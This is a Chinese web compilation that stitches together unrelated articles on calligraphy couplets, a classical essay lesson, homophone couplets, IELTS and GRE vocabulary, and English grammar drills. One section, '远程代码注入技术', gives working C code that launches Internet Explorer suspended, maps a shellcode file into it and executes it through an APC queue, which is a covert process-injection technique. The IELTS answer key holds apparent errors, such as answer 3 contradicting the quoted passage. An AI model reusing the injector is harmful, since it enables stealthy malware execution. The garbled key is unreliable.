“布拉西”通过精心收集，向本站投稿了10篇八大山人对联讲解分析，下面是小编为大家带来的八大山人对联讲解分析，希望大家能够喜欢!
- 目录
篇1：八大山人对联讲解分析
8月15日是日本战败日，八大山人对联解惑。61年前的这一天，日本宣布无条件投降，xx党在上海设立的受降区，追回了被日军侵夺的许多珍贵文物，这件墨宝──八大山人手迹五言对联便是其中之一。
该联为八大山人的五言行草：“深房春竹老，细雨夜钟疏”。纵175厘米，横33厘米，宣纸质地。下联款署“八大山人”，并钤有“八大山人”白文和“何园”朱文二印，但没有年款。对联卷首背后题签分别为“深房春竹老八大山人墨宝”与“细雨夜钟疏八大山人墨宝乙卯冬米楼珍藏”字样。签为绫质，老旧成深褐色，稍有脱落。
经专家初步鉴定，此联为八大真迹，为其晚年所作，距今约近3历史。八大山人书画大多没有年款，怎么能知道所作年代呢？安徽省博物馆收藏有其11幅书画作品，均款，老师笔记《八大山人对联解惑》。但从风格、落款及印章的习惯上，专家们还是能清楚地分辨所作年代。如朱耷把“八大山人”写成“哭之笑之”的这个号，是在他59岁以后才用的，直到80岁去世。其中60岁到68岁的'“八”字都写成“><”形；69岁至80岁临终的“八”字都写成两点；晚年又多钤用“何园”印章。因此，从这副对联的风格、落款的写法和印章的使用可以看出，这正是他70岁以后所作。
此联上还盖有一方特殊的印章，引起鉴定家的兴趣，因为以前在八大的书画作品上从未见到过。这就是在上联右下角与下联的左下角，各钤有一个相对应的同样的印章。印章为长方形，纵4.3厘米，横2.8厘米，印文为篆体朱文，四直行排列，每行60字，计24字：“陆军第三方面军上海日侨管理处验收日侨呈献古物之章”。原来，1945年8月15日，日本宣布投降后，xx党将中国战区划为15个受降区，其中南京、上海为第七受降区，以陆军第三方面军汤恩伯为受降主官，指令日军分别集中于南京、上海办理投降事宜。由此墨宝归国，钤上“古物之章”。
墨宝回归，记录着战败国的一段历史。无论是国家、个人收藏，文物逢盛世，遭受坎坷的朱耷对联，必有后福。
篇2：岳阳楼记讲解分析
岳阳楼记讲解分析
《岳阳楼记》知识点详细讲解
课前导入
江西的滕王阁因初唐四杰之一王勃的《滕王阁序》而名闻天下，湖北的黄鹤楼因崔颢的《黄鹤楼》一诗而声名远播。洞庭湖畔的岳阳楼，也是文人墨客云集的地方，因孟浩然、李白、杜甫等人的题咏而名扬天下;到了宋代，更因范仲淹的《岳阳楼记》而熠熠生辉。今天就让我们跟着本文的记述，做一次洞庭之游，去感受那万顷碧波的阴晴明暗，去聆听作者那“先天下之忧而忧，后天下之乐而乐”的拳拳心语吧!
学习目标
1.有感情地朗读并背诵全文。
2.掌握常用文言词语，熟练地翻译课文。
3.品味优美语言，体会文中蕴含的思想感情，理解文章主旨。
知识汇总
1.作者简介
范仲淹(989—1052)，字希文，苏州吴县人，北宋政治家、军事家、文学家。死后谥“文正”，世称“范文正公”。庆历三年(1043)，任参和政事，提出十项政治改革方案，为守旧派所不容，遂外放邠州、邓州、杭州、青州等地知州。他以六十四岁的人生，矢志不渝地追求自己的人生理想和政治主张，深受当世和后人称道。文章和诗词俱脱俗超凡，是其心志和情感的形象外化。有《范文正公文集》传世。
2.关于岳阳楼台
岳阳楼，在今湖南省岳阳市西北的巴丘山下，对着洞庭湖，其前身为三国时东吴都督鲁肃训练水兵的阅兵台。自古以来，岳阳楼与武昌黄鹤楼，南昌滕王阁，被誉为楚地三大名楼。
3.关于“记”
“记”是古代一种文体，它叙事、写景、抒情的成分居多，目的在于抒发作者的情操和抱负，或阐述作者对某些问题的观点，在写法上大体分两类：(1)寓情理于事、景、物中;(2)由事、景、物中自然生发出情理，而都以“卒章显志”的方式表现出来。本文就属于后一类。本文通过迁客骚人登楼时或悲或喜的“览物之情”的分析议论，表达了作者“不以物喜，不以己悲”的旷大胸襟和“先天下之忧而忧，后天下之乐而乐”的政治抱负。
4.重点字词理解
(1)乃重修岳阳楼：于是，就
(2)横无际涯：宽阔无边。横，广远。际涯，边
(3)此则岳阳楼之大观也：景象
(4)去国怀乡，忧谗畏讥：去：离开;谗：说别人的坏话
(5)宠辱偕忘：宠：荣耀;偕：一起
(6)吾谁与归：归依
(7)骚人：诗人
(8)然则：虽然如此，那么
(9)淫雨：连绵的雨
(10)至若春和景明：日光
(11)翔集：时而飞翔，时而停歇。集，鸟停息在树上
(12)锦鳞：美丽的鱼
(13)何极：哪有穷尽
(14)予尝求古仁人之心：探求
(15)长烟一空：全
(16)把酒临风：端酒当着风，就是在清风吹拂中端起酒来喝。把：持，执
(17)连月不开：放晴
(18)胜状：胜景，好景色
(19)微斯人：没有这种人。微，无、没有。
(20)前人之述备矣：前人的记述很详尽了。备，详尽。
5.通假字
(1)百废具兴：“具”通“俱”，都，全，皆
(2)属予作文以记之：“属”通“嘱”，嘱咐
6.一词多义
(1)或 而或长烟一空(有时)
或异二者之为(或许、也许)
(2)则 此则岳阳楼之大观也(就是，判断词)
然则北通巫峡(那么，连词)
居庙堂之高则忧其民(就)
(3)开 若夫淫雨霏霏，连月不开(放晴)
旁开小窗(开设，设置)
开我东阁门(打开)
(4)极 北通巫峡，南极潇湘(尽，直通)
浮光跃金，静影沉璧，渔歌互答，此乐何极(穷尽)
感极而悲者矣(极：极点。)
(5)观 予观夫巴陵胜状(看)
此则岳阳楼之大观也(景象)
更多相关文章推荐阅读：
1.出自岳阳楼记的成语
2.岳阳楼记读后感诗歌
3.《岳阳楼记》的通假字
4.新《岳阳楼记》教学反思
5.《岳阳楼记》复习题及答案
6.文言文《岳阳楼记》练习题及答案
7.《岳阳楼记》原文理解
8.从《岳阳楼记》看范公作文的机智
9.走入作者写作的思维过程——《岳阳楼记》教学设计
10.“背《岳阳楼记》登岳阳楼”升级版新鲜出炉
篇3：谐音对联及其分析
对联： 蜘蛛结网转运丝，来往巡檐; 鹁蛤带铃左右翼，纵横出哨。
分析： 于谦对某翰林。“转运丝”谐“转运司”，“巡檐”谐“巡盐”，皆官名
对联： 播谷禽鸣，催起农夫忙播谷; 提壶鸟语，唤醒酒客出提壶。
分析： 前一“播谷”谐“布谷”，“提壶”谐“鹈鹕”，皆鸟名
对联： 两猿截木山中，这猴子也会对锯; 匹马陷身泥内，此畜牲怎得出蹄。
分析： 陈启东戏对陆文量。“锯”谐“句”，“蹄”谐“题”
对联： 和尚上楼，楼高梯短，何上，何上; 尼姑沽酒，酒美价廉，宜沽，宜沽。
分析： 和尚、尼姑戏对。“何上”谐“和尚”，“宜沽”谐“尼姑”
对联： 猿断木深山中，小猴子也敢对锯; 一马陷足污泥内，老畜生怎能出蹄。
分析： 一说陆容、陈震互对，一说解缙、李调元互嘲。“锯、题”谐“句、题”
对联： 两舟竞渡[两船并行]，橹速不如帆快; 百管争鸣[八音齐奏]，笛清难比箫和。
分析： 陈洽父子巧对。“橹速、帆快、笛清、箫和”分别谐“鲁肃、樊哙、狄青、萧何”
对联： 礼部重开天榜，状元榜眼探花，有些惶恐; 内阁翻成妓馆，乌归王巴篾片，总是遭瘟。
分析： 明温体仁为乌程籍归安人，王应熊为巴县人，广有恶行，吴宗逵秉二人意旨为恶，时人视为“篾片”。适逢礼部堂官黄士俊、孔贞运、陈子壮为三鼎甲，有人乃题上联。“惶”谐“黄”，指黄士俊;“恐”谐“孔”，指孔贞运;“乌归”乃“乌程归安”之省，谐“乌龟”，指温体仁;“王巴”谐“王八”，指王应熊为巴县人;“瘟”谐“温”，亦指温体仁。
对联： 灯笼笼灯，纸壳原来只防风; 鼓架架鼓，陈皮不能敲半下。
分析： 药名巧对。“纸”谐“枳”;“下”谐“夏”
对联： 打铁锤鸣，红火焰中三尺雪; 弹棉弓响，白云堆里一声雷。
分析： 明代一考官想除一考生之名，出上联试之，考生应以下联，功名得留。“打铁锤鸣”谐“打叠除名”，“弹棉弓响”谐“但愿公想”，即从国家社稷出发
对联： 乞丐分符，教化大行于郡邑; 优伶秉铎，弦歌遍沐于胶庠。
分析： 清松陵有富人生性鄙吝，以叫化得名，康熙年间援例加纳为县令，同时有某人以善歌而得选某省教职，乃有是联。“教化”谐“叫化”
对联： 伏羲抖乱神农草，伯夷叔齐; 钟离失却吕公绦，寒山拾得。
分析： 刘珏。“叔齐”谐“束齐”
对联： 陈教授数茎头发，无髻可施; 陆大参一道髭髯，何鬚如此。
分析： 陈震对陆容。“髻”谐“计”，“鬚”谐“须”
对联：永夜无聊，同向西窗剪蜡;良宵独坐，好从东阁燃藜。
分析：嘲瘌痢头联。“蜡”谐“瘌”，“藜”谐“痢”。
对联：坐破寒砧，从此渐入佳境;磨穿铁砚，而今才得出头。
分析：某生员被罚荷枷示众，作此联自嘲。“佳境”谐“枷颈”。
对联：市肆屠沽，大畜挂，小畜挂;街坊博弈，前汉输，后汉输。
分析：明杨基、徐贲市景即对。“挂”谐“卦”，“汉输”谐“汉书”。
对联：三天不吃饭，胸中无点屎;六月穿棉袄，胯下有汗淋。
分析：刘宁对周济。“点屎”谐“典史”;“汗淋”谐“翰林”。
对联：道童锅里煎茶，不知罐煮;和尚墙头递酒，必是私沽。
分析：陈道复对唐寅。“罐煮”谐“观主”;“私沽”谐“师姑”。
篇4：3类雅思阅读词汇分析讲解
3类雅思阅读词汇分析讲解
雅思阅读词汇一、考点词汇
所谓考点词汇，就是指雅思阅读中常出现的对句意、题意有着重要影响的词汇。考点词汇是雅思考试中最常出现的高频词汇，也就是说，不同的雅思文章中，这些词汇经常重复出现，并且都有着举足轻重的地位。按照雅思阅读考查点—同义转换的思路，考点词汇主要是动词(verb)、形容词(adjective)或副词(adverb)、以及个别的名词(noun)。如果在平时阅读过程中，注意积累考点词汇并背诵其含义，那么我们在解决阅读问题时就会轻松很多。考点词由于出现频率非常高，因此实际上考点词汇是比较有限的(limited)。我们在记忆考点词汇时，有两个方法是非常好用的。
第一个是渗透衍生词记忆法，就是将常出现的词汇连带它们的衍生词一同记忆，凡是衍生词，都与原词汇属于同一分支，表现为词性不同但意思相连，如define/definition; adjust/adjustment; evaluate/evaluation/evaluative等。建议大家在记忆这些单词时，要渗透进一个思想意识，那就是：当我们遇到一个考点词，如果该词的前半部分字母组合或后半部分字母组合与之前记忆过的某考点词相一致(consistent)，那么这个“新词”的含义就一定与“旧词”有着不可分割的关系(connection)。有了这个思想意识，我们就能够将本不熟悉的词变得熟悉、本不敏感的(sensitive)拼写方式变得敏感了。尤其对于非常长的单词，很多同学看到就会觉得是一个完全的新词，其实如果仔细推敲字母组合(combination)，就能找出一个与它很相像的旧词。
比如，剑桥五中有这样一篇文章“The Birth of Scientific English”, 其中有一句：It lacked thegrammatical resources required to represent the world in an objective and impersonal way,and to discuss the relations, such as cause and effect, that might hold between complex andhypothetical entities. 其中的grammatical并不是一个陌生的词汇，因为大家都熟悉grammar这个词;还有hypothetical这个词，虽然难度较大，但是我们经常见到hypothesis，因此可以推断hypothetical有“假设”这一层含义。
第二个就是渗透同义词积累记忆法。同义词也是同义转换喜欢考查的部分，比如expansion/development; exaggerate/overstate等。同义词是可以连串记忆的，再加上高频出现、数量有限，因此我们可以通过平时的积累来提高词汇量。
雅思阅读词汇二、常识类词汇
常识类词汇是指在解题时，这类词汇不是考查同义转换，也不是考查范围、程度等考点，而是文章涉及的背景内容，了解这类词的含义有助于利用常识或背景知识来更好地理解文章。常识类词汇较难，也与日常生活中的英语词汇相差甚远，因此是不容易把握的。我们了解这类词就不需要找衍生词、也不需要积累同义词了，只是作为兴趣了解，或是给解题带来更大的把握。这类词汇有：aquaculture/delta/orbitalcortex/morphology/psychic/sea cow等等。那么，我们在练习雅思阅读时，如何判定哪些词汇需要记忆，哪些词汇只要简单了解呢?其实高频考点词的数量是有限的，而以上提到的常识类词汇范围比较广，是每篇文章中涉及的一个背景话题，因此只要大家看到非考点词，并在一篇文章中反复出现、作为一个话题型词汇并且比较生僻，就是常识性词汇了。
雅思阅读词汇三、专业性词汇
专业性词汇与常识类词汇在范围上有交叉的部分，只不过专业性词汇是非常生僻、考生也没有必要去了解的词汇。专业性词汇可以在文中保留自己的原型，不用被追究含义，可以充当定位词的地位，比如剑桥文章中的sulphide/Principia/desalination等等。这些词汇在我们平时积累阅读词汇时就可以视为选择记忆的了。如果大家有兴趣接触，可以尝试去记忆，但是一般情况下这些专业性太强的词汇就不建议考生徒增记忆工作量了。
综上所述，雅思阅读词汇的积累是有选择性的，大家在记忆阅读词汇时，高频的考点词是无法逃避的(unavoidable)，这些词汇需要我们非常熟悉地印入脑海并能迅速反应出其含义。但是对于后两类词汇，我们是希望大家能够多记忆一些常识类词汇以便更完整、更透彻地理解文章;而专业性词汇就不要求强化记忆了。有了扎实的词汇功夫，搭配上阅读技巧和解题技巧，我们就能够在阅读考试中取得令自己满意的成绩(score)。
雅思考试阅读模拟练习及答案
The Triumph of Unreason
A.
Neoclassical economics is built on the assumption that humans are rational beings who have a clear idea of their best interests and strive to extract maximum benefit (or “utility”， in economist-speak) from any situation. Neoclassical economics assumes that the process of decision-making is rational. But that contradicts growing evidence that decision-making draws on the emotions—even when reason is clearly involved.
B.
The role of emotions in decisions makes perfect sense. For situations met frequently in the past， such as obtaining food and mates， and confronting or fleeing from threats， the neural mechanisms required to weigh up the pros and cons will have been honed by evolution to produce an optimal outcome. Since emotion is the mechanism by which animals are prodded towards such outcomes， evolutionary and economic theory predict the same practical consequences for utility in these cases. But does this still apply when the ancestral machinery has to respond to the stimuli of urban modernity?
C.
One of the people who thinks that it does not is George Loewenstein， an economist at Carnegie Mellon University， in Pittsburgh. In particular， he suspects that modern shopping has subverted the decision-making machinery in a way that encourages people to run up debt. To prove the point he has teamed up with two psychologists， Brian Knutson of Stanford University and Drazen Prelec of the Massachusetts Institute of Technology， to look at what happens in the brain when it is deciding what to buy.
D.
In a study， the three researchers asked 26 volunteers to decide whether to buy a series of products such as a box of chocolates or a DVD of the television show that were flashed on a computer screen one after another. In each round of the task， the researchers first presented the product and then its price， with each step lasting four seconds. In the final stage， which also lasted four seconds， they asked the volunteers to make up their minds. While the volunteers were taking part in the experiment， the researchers scanned their brains using a technique called functional magnetic resonance imaging (fMRI)。 This measures blood flow and oxygen consumption in the brain， as an indication of its activity.
E.
The researchers found that different parts of the brain were involved at different stages of the test. The nucleus accumbens was the most active part when a product was being displayed. Moreover， the level of its activity correlated with the reported desirability of the product in question.
F.
When the price appeared， however， fMRI reported more activity in other parts of the brain. Excessively high prices increased activity in the insular cortex， a brain region linked to expectations of pain， monetary loss and the viewing of upsetting pictures. The researchers also found greater activity in this region of the brain when the subject decided not to purchase an item.
G.
Price information activated the medial prefrontal cortex， too. This part of the brain is involved in rational calculation. In the experiment its activity seemed to correlate with a volunteer’s reaction to both product and price， rather than to price alone. Thus， the sense of a good bargain evoked higher activity levels in the medial prefrontal cortex， and this often preceded a decision to buy.
H.
People’s shopping behaviour therefore seems to have piggy-backed on old neural circuits evolved for anticipation of reward and the avoidance of hazards. What Dr Loewenstein found interesting was the separation of the assessment of the product (which seems to be associated with the nucleus accumbens) from the assessment of its price (associated with the insular cortex)， even though the two are then synthesised in the prefrontal cortex. His hypothesis is that rather than weighing the present good against future alternatives， as orthodox economics suggests happens， people actually balance the immediate pleasure of the prospective possession of a product with the immediate pain of paying for it.
I.
That makes perfect sense as an evolved mechanism for trading. If one useful object is being traded for another (hard cash in modern time)， the future utility of what is being given up is embedded in the object being traded. Emotion is as capable of assigning such a value as reason. Buying on credit， though， may be different. The abstract nature of credit cards， coupled with the deferment of payment that they promise， may modulate the “con” side of the calculation in favour of the “pro”。
J.
Whether it actually does so will be the subject of further experiments that the three researchers are now designing. These will test whether people with distinctly different spending behaviour， such as miserliness and extravagance， experience different amounts of pain in response to prices. They will also assess whether， in the same individuals， buying with credit cards eases the pain compared with paying by cash. If they find that it does， then credit cards may have to join the list of things such as fatty and sugary foods， and recreational drugs， that subvert human instincts in ways that seem pleasurable at the time but can have a long and malign aftertaste.
Questions 1-6
Do the following statemets reflect the claims of the writer in Reading Passage 1?
Write your answer in Boxes 1-6 on your answer sheet.
TRUE if the statement reflets the claims of the writer
FALSE if the statement contradicts the claims of the writer
NOT GIVEN if it is possbile to say what the writer thinks about this
1. The belief of neoclassical economics does not accord with the increasing evidence that humans make use of the emotions to make decisions.
2. Animals are urged by emotion to strive for an optimal outcomes or extract maximum utility from any situation.
3. George Loewenstein thinks that modern ways of shopping tend to allow people to accumulate their debts.
4. The more active the nucleus accumens was， the stronger the desire of people for the product in question became.
5. The prefrontal cortex of the human brain is linked to monetary loss and the viewing of upsetting pictures.
6. When the activity in nucleus accumbens was increased by the sense of a good bargain， people tended to purchase coffee.
Questions 7-9
Choose the appropriate letters A-D and write them in boxes 7-9 on your answe sheet.
7. Which of the following statements about orthodox economics is true?
A. The process which people make their decisions is rational.
B. People have a clear idea of their best interests in any situation.
C. Humans make judgement on the basis of reason rather then emotion.
D. People weigh the present good against future alternatives in shopping.
8. The word “miserliness” in line 3 of Paragraph J means__________.
A. people’s behavior of buying luxurious goods
B. people’s behavior of buying very special items
C. people’s behavior of being very mean in shopping
D. people’s behavior of being very generous in shopping
9. The three researchers are now designing the future experiments， which test
A. whether people with very different spending behaviour experience different amounts of pain in response to products.
B. whether buying an item with credit cards eases the pain of the same individuals compared with paying for it by cash.
C. whether the abstract nature of credit cards may modulate the “con” side of the calculation in favour of the “pro”。
D. whether the credit cards may subvert human instincts in ways that seem pleasurable but with a terrible effect.
Questions 10-13
Complete the notes below.
Choose NO MORE THAN THREE WORDS from Reading Passage 1 for each answer.
Write your answers in boxes 10-13 on your answer sheet.
To find what happens in the brain of humans when it is deciding things to buy， George Loewenstein and his co-researchers did an experiment by using the technique of fMRI. They found that different parts of the brain were invloved in the process. The activity in …10… was greatly increased with the displaying of certain product. The great activity was found in the insular cortex when …11…and the subject decided not to buy a product. The activity of the medial prefrontal cortex seemed to associate with both …12…informaiton. What interested Dr Loewenstein was the …13… of the assessment of the product and its price in different parts of the brain.
Part II
Notes to Reading Passage 1
1. the nucleus accumbens， the insular cortex， and the medial prefrontal cortex：
大脑的不同部位 (皮层，皮质等)
e.g. cerebellar cortex 小脑皮层cerebral cortex 大脑皮层
2. hone：
珩磨，磨快，磨练，训练使。。。更完美或有效。
3. subvert：
毁灭，破坏;摧毁：
4. piggyback：
骑在肩上;在肩上骑
5. deferment：
推迟、延迟、分期付款
6. aftertaste：
余味，回味事情或经历结束后的感觉，特指令人不快的感觉
Part III
Keys and explanations to the Questions 1-13
1. TRUE
See the second and third sentence in Paragraph A “Neoclassical economics assumes that the process of decision-making is rational. But that contradicts growing evidence that decision-making draws on the emotions—even when reason is clearly involved.”
2. TRUE
See the third sentence in Paragrph B “ Since emotion is the mechanism by which animals are prodded towards such outcomes， evolutionary and economic theory predict the same practical consequences for utility in these cases.”
3. FALSE
See the second sentence in Paragrph C “In particular， he suspects that modern shopping has subverted the decision-making machinery in a way that encourages people to run up debt.”
4. TRUE
See the last sentence in Paragrph E “Moreover， the level of its activity correlated with the reported desirability of the product in question.”
5. FALSE
See the second sentence in Paragrph F and G respectively “Excessively high prices increased activity in the insular cortex， a brain region linked to expectations of pain， monetary loss and the view.
篇5：高考英语语法:高考典型例题分析讲解
1.The old man is famous _________his great works and he is also famous _______ a great scientist.
A. for; forB. for; asC. as; asD. as; for
分析：famous + for + n. 的意义是“由于……而闻名”，主要接指事物、成果及风景等的名词。be famous + as + n. 是“以，因……而知名”，通常接指职业、身份等名词。正确答案为B。
2. Can you ______the difference between A and B?
A. sayB. speakC. tellD. talk
分析：动词say应后接含内容以句子或代词；动词speak 对 difference（between A and B）形成搭配，故选项C为正确答案。
3. She, as well as the other students, ______ how to drive a car.
A. has learned B. have learned C. was learned D. were learned
分析：as well as引导的是短语，因此谓语用单数。此句又强调学会了开车，故选项A为正确答案。
4. The pair of shoes ______made in this factory.
A. have beenB. had beenC. areD. is
分析：shoes作主语时，动词用复数形式；若shoes与量词pair连用，作主语时谓语动词由量词pair的单、复数决定。D为正确答案。
5. No teacher and no student ______to go in.
A. are allowed B. is allowed C. has allowed D. have allowed
分析：主题句中有两处用到no + 名词单数，所以断定谓语用单数谓语，排除选项A、D。allow的句型是allow sb．to do sth，故B项为正确答案。
6. Two hours _________ enough for us to finish the job.
A. isB. areC. beD. were
分析：基数词 + 名词（复数）作主语表示重量、度量、时间、距离、价值等概念时，当作整体看待，谓语应用单数。故选项A为正确答案。
7.The writer and poet_____ to give us a lecture.
A. are going B. were going C. have been D. is going
分析：The writer和and在意义上是同一人，因为 and后面的名词没有跟冠词，谓语应用单数。故选项D为正确答案。
8.Mao Zedong spoke with a strong Hunan ______.
A．voiceB．noiseC．soundD．accent
分析 ：voice意为嗓音，noise为噪音，大的嘈杂声，sound为声音，而accent是口音的意思，所以答案为D。
9.Bob, as well as Mary ______ going there.
A．isB．wereC．areD．be
分析 ：as well as含义与and相近，但当as well as连接名词时，谓语动词一般与第一个名词或代词的人称和数一致，尤其是在有逗号隔开时。所以答案为A。
篇6：远程代码注入技术分析讲解
我研究出了一种新的在远程进程中执行代码的可能性，就是利用一个未文档函数在远程进程地址空间写入代码，并且用一种新的技术在远程进程中执行它，这种技术完全工作在用户模式下，并且不需要特殊的条件比如像管理员权限或者之类的要求，让源码说明一切:(我为我的英文水平感到抱歉,我来自德国) 复制内容到剪贴板
代码:
#define _WIN32_WINNT 0x0400
#include
typedef LONG NTSTATUS, *PNTSTATUS;
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
typedef enum _SECTION_INHERIT
{
ViewShare = 1,
ViewUnmap = 2
} SECTION_INHERIT;
typedef NTSTATUS (__stdcall *func_NtMapViewOfSection) ( HANDLE, HANDLE, LPVOID, ULONG, SIZE_T, LARGE_INTEGER*, SIZE_T*, SECTION_INHERIT, ULONG, ULONG );
func_NtMapViewOfSection NtMapViewOfSection = NULL;
LPVOID NTAPI MyMapViewOfFileEx( HANDLE hProcess, HANDLE hFileMappingObject, DWORD dwDesiredAccess, DWORD dwFileOffsetHigh, DWORD dwFileOffsetLow,
DWORD dwNumberOfBytesToMap, LPVOID lpBaseAddress )
{
NTSTATUS Status;
LARGE_INTEGER SectionOffset;
ULONG ViewSize;
ULONG Protect;
LPVOID ViewBase;
// 转换偏移量
SectionOffset.LowPart = dwFileOffsetLow;
SectionOffset.HighPart = dwFileOffsetHigh;
// 保存大小和起始地址
ViewBase = lpBaseAddress;
ViewSize = dwNumberOfBytesToMap;
// 转换标志为NT保护属性
if (dwDesiredAccess & FILE_MAP_WRITE)
{
Protect = PAGE_READWRITE;
}
else if (dwDesiredAccess & FILE_MAP_READ)
{
Protect = PAGE_READONLY;
}
else if (dwDesiredAccess & FILE_MAP_COPY)
{
Protect = PAGE_WRITECOPY;
}
else
{
Protect = PAGE_NOACCESS;
}
//映射区段
Status = NtMapViewOfSection(hFileMappingObject,
hProcess,
&ViewBase,
0,
0,
&SectionOffset,
&ViewSize,
ViewShare,
0,
Protect);
if (!NT_SUCCESS(Status))
{
// 失败
return NULL;
}
//返回起始地址
return ViewBase;
}
int WINAPI WinMain (HINSTANCE, HINSTANCE, LPSTR, int)
{
HMODULE hDll = LoadLibrary( “ntdll.dll” );
NtMapViewOfSection = (func_NtMapViewOfSection) GetProcAddress (hDll, “NtMapViewOfSection”);
// 取ShellCode,任何你想实现的
HANDLE hFile = CreateFile (“C:shellcode.txt”, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
HANDLE hMappedFile = CreateFileMapping (hFile, NULL, PAGE_READONLY, 0, 0, NULL);
// 启动目标进程
STARTUPINFO st;
ZeroMemory (&st, sizeof(st));
st.cb = sizeof (STARTUPINFO);
PROCESS_INFORMATION pi;
ZeroMemory (&pi, sizeof(pi));
CreateProcess (“C:ProgrammeInternet Exploreriexplore.exe”, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &st, &pi);
// 注入shellcode到目标进程地址空间
LPVOID MappedFile = MyMapViewOfFileEx (pi.hProcess, hMappedFile, FILE_MAP_READ, 0, 0, 0, NULL);
// 创建一个新的能够在目标线程恢复是首先执行的APC
QueueUserAPC ((PAPCFUNC) MappedFile, pi.hThread, NULL);
ResumeThread (pi.hThread);
CloseHandle (hFile);
CloseHandle (hMappedFile);
CloseHandle (pi.hThread);
CloseHandle (pi.hProcess);
return 0;
}
篇7：GRE词汇具体要求数据分析讲解
GRE词汇具体要求数据分析讲解 不同分数段要求词汇量总结
科学数据统计GRE词汇数量
根据多位GRE名师通过科学统计得出的相关数据
GRE 填空单词数：2999
GRE 阅读单词数：4191
这里面包含了所有的单词数量，包括 on, in, by…等。把这里面去除四级大纲的词汇，还剩下5764个。
根据预估，在这5764个单词中，去除六级大纲，还剩下4000词汇。
再去除托福常用词汇，还剩下个词汇。
关于GRE词汇结论和真相
结论：如果你认识了这超过托福水平的2000个词汇的话，意味着你参加GRE考试的时候，每一个单词都认识。
理性分析一下，考生真的需要考试中每一个单词都认识吗?就算的目标Verbal分数定在168+，也不需要认识每一个单词。反过来，认识每一个单词也不一定能考到168+。
如果理性的把目标Verbal分数定位在155+，这也就是能够允许错15个题目左右，正确率大概在60%以上就可以了。
GRE大部分的题目的单词真的并不是想象的晦涩难懂。GRE中晦涩难懂的单词毕竟那是少数，绝对不是“主流”;很多同学把过多的眼光放到了那些晦涩的单词上，误以为GRE单词就应该是那些单词，其实不然。
GRE词汇结论
1. GRE绝大部分使用的单词都是很正常的四级，六级，托福水平的单词。
2. 超过托福水平的那2000个单词中，大约常考的只有一半不到，也就是1000个必备的核心词。掌握这1000个，做题正确率到60%的基础就有了。也就是155+的基础就有了。“再要你命3000”以及“词汇精选”的选词范围都超过了这1000个，可以说，这两本书对于这部分单词的掌握并非高效。
3. 不常考的另外那1000个单词，其中大约有600个不难，但就是不常考。大约有400个左右确实非常晦涩难懂。如果你的目标是165+，那这1000个必须要掌握。对于这1000个单词，“再要你命3000”的选词范围又太小了，是无论如何也覆盖不了的。“词汇精选”的选词范围可能足够，但是你知道背这本书是多么的痛苦。
4. 对于每次考试中出现的新词，或者说近期考试中出现的新词，那是任何一本书籍都无法覆盖的。这只能靠不断累积来解决。
不同分数段需要的GRE词汇
Verbal 154及以下目标分同学：背好四六级，托福就可以达到。
Verbal 155-163：背好核心1000词 + 寂静词。
Verbal 164-170：刷好《词汇精选》，以及各种学术渠道补充的词汇。
用句子背记GRE单词
431. The feeble man feels an ache on his heels and knees when he kneels on the steel steering wheel.
当虚弱男子跪在钢舵轮上时他的脚跟和双膝感到疼痛。
432. The bee paid the fee of coffee, beef and beer for the cheerful deer.
蜜蜂为欢快的鹿付了咖啡、牛肉和啤酒的费用。
433. To the ants, the infant elephant is a giant in the plantation.
对蚂蚁们来说,幼小的大象是种植园里的庞然大物。
434. The merciful merchant wants to grant some merchandise to the panting immigrants.
仁慈的商人要给喘气的移民们一些商品。
435. The lengthened long fishing rod alongside the lake belongs to me.
靠在湖边的加长长钓竿属于我。
436. The strong man among us strongly hates the wrongdoing.
我们当中的壮汉强烈憎恶这件坏事。
437. In occasional case the phrase emphasizes the importance of the phase to the laser.
在偶然情况下该短句强调了相位对于激光的重要性。
438. Based on the basic case, the purchaser found the vase in the basin in the basement.
根据这个基本情况，购买者在地下室的盆子里找到了花瓶。
439. On the camp of the campus the campaign champion put the camera on the camel.
在校园的营地上运动冠军将摄影机放在骆驼上。
440. He stamped on the stamps and slammed the lamp on the damp dam.
他用脚踩邮票并将灯砰地摔在潮湿的坝上。
用句子背记GRE单词
441. When the boat floats through the throat, the goat in overcoat goes to the goal.
当船漂过狭口时,穿大衣的山羊朝目标走去。
442. The competitor is compelled to complete the competition.
竞争者被迫完成了比赛。
443. I’m perplexed by the flexible complex index of sex and age.
我被灵活复杂的性别与年龄索引迷惑住了。
444. Since then the sincere princess has known the principal principle.
从那时起诚实的公主就知道该主要原理。
445. The bead is put on the forehead of the dead shepherd ahead of the herd.
珠子被戴在牧群前面的死牧羊人的前额上。
446. The misleader let me use the lead instead of the unsteady metal.
误导者让我用铅代替不稳定的金属。
447. The reader already readily spread the thread on the ready-made bread.
那位读者已经欣然将丝线铺散在现成的面包上。
448. “Ten percent of the cents are made in recent centuries,” he said with strong accent.
“百分之十的分币是最近几个世纪制造的，”他带着浓重的口音说。
449. The neutral scent of kerosene is concentrated in the center of the scene.
煤油的中性气味在场景中心被浓缩。
450. Those innocent adolescents ascending the hill are the tribe's descendants of decent descent.
这些爬山的天真青少年是这个部落具有正派血统的后代。
451. The tenant is discontented with the content of the agreement for renting the tennis tent.
承租人对租用网球帐篷的协议内容不满。
452. The current occurrence of torrent spurs him to buy fur and sulfur.
现行的倾泻事件驱使他买毛皮衣服和硫磺。
453. I’m confident that the dentist will deny the confidential accidental incident.
我确信牙医会否认那个机密的意外事件。
454. The student identified the identical idiom on the identity cards.
学生辨认出了身份证上相同的成语。
455. The stupid student rapidly studied the accident in the studio.
愚蠢的学生在画室里快速研究了事故。
456. Considering considerable spiders outside, I stay in the presidens residence.
考虑到外面有相当多的蜘蛛，我呆在总统的住宅里。
457. Besides this side, I considered both the inside and outside.
除了这一面外我还考虑了内外两面。
458. It's evident that the evil devil inevitably goes to ruin.
很明显，邪恶的魔鬼必然灭亡。
459. In the company my companion accompanied me until I accomplished polishing the shoes.
在公司里同伴陪着我直到我完成檫鞋(任务)。
460. I prepare to compare the two comparable parallel companies.
我准备比较那两个可比较的类似的公司。
用句子背记GRE单词
461. My neighbor knows the height and weight of the highjacked freight.
我邻居知道被劫持货船的高度和重量。
462. The rebels labeled the labor laboring in the laboratory and lavatory.
反叛者给在实验室和舆洗室劳动的劳工贴上标签。
463. At 8 o'clock the clerk locked the flock of cocks in the room.
八点钟时办事员将那群公鸡锁在房间里。
464. The mocker knocked the stock with the knots on the stocking and sock.
嘲笑者用长袜和短裤上的结鼓打存货。
